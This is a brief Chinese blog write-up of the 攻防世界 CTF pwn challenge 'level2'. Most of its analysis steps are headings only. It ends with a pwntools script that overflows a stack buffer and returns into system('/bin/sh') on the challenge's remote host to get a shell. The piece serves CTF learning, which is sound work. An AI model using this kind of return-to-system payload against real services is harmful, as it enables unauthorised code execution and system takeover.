攻防世界—pwn—level2

题目分析

题目提示

下载文件后首先使用checksec检查文件保护机制

使用ida打开，查看伪代码


搜索字符串发现/bash/sh

信息收集

偏移量

system的地址

/bin/sh的地址

编写脚本

from pwn import *
p = remote('111.198.29.45',50136)
#p = process("./pwn003")
binsh = 0x0804A024
system = 0x8048320
payload = "A"*0x88+"B"*0x4+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

本地测试

靶机测试

posted @ 2020-04-04 10:53  anweilx  阅读(952)  评论(0)  编辑  收藏  举报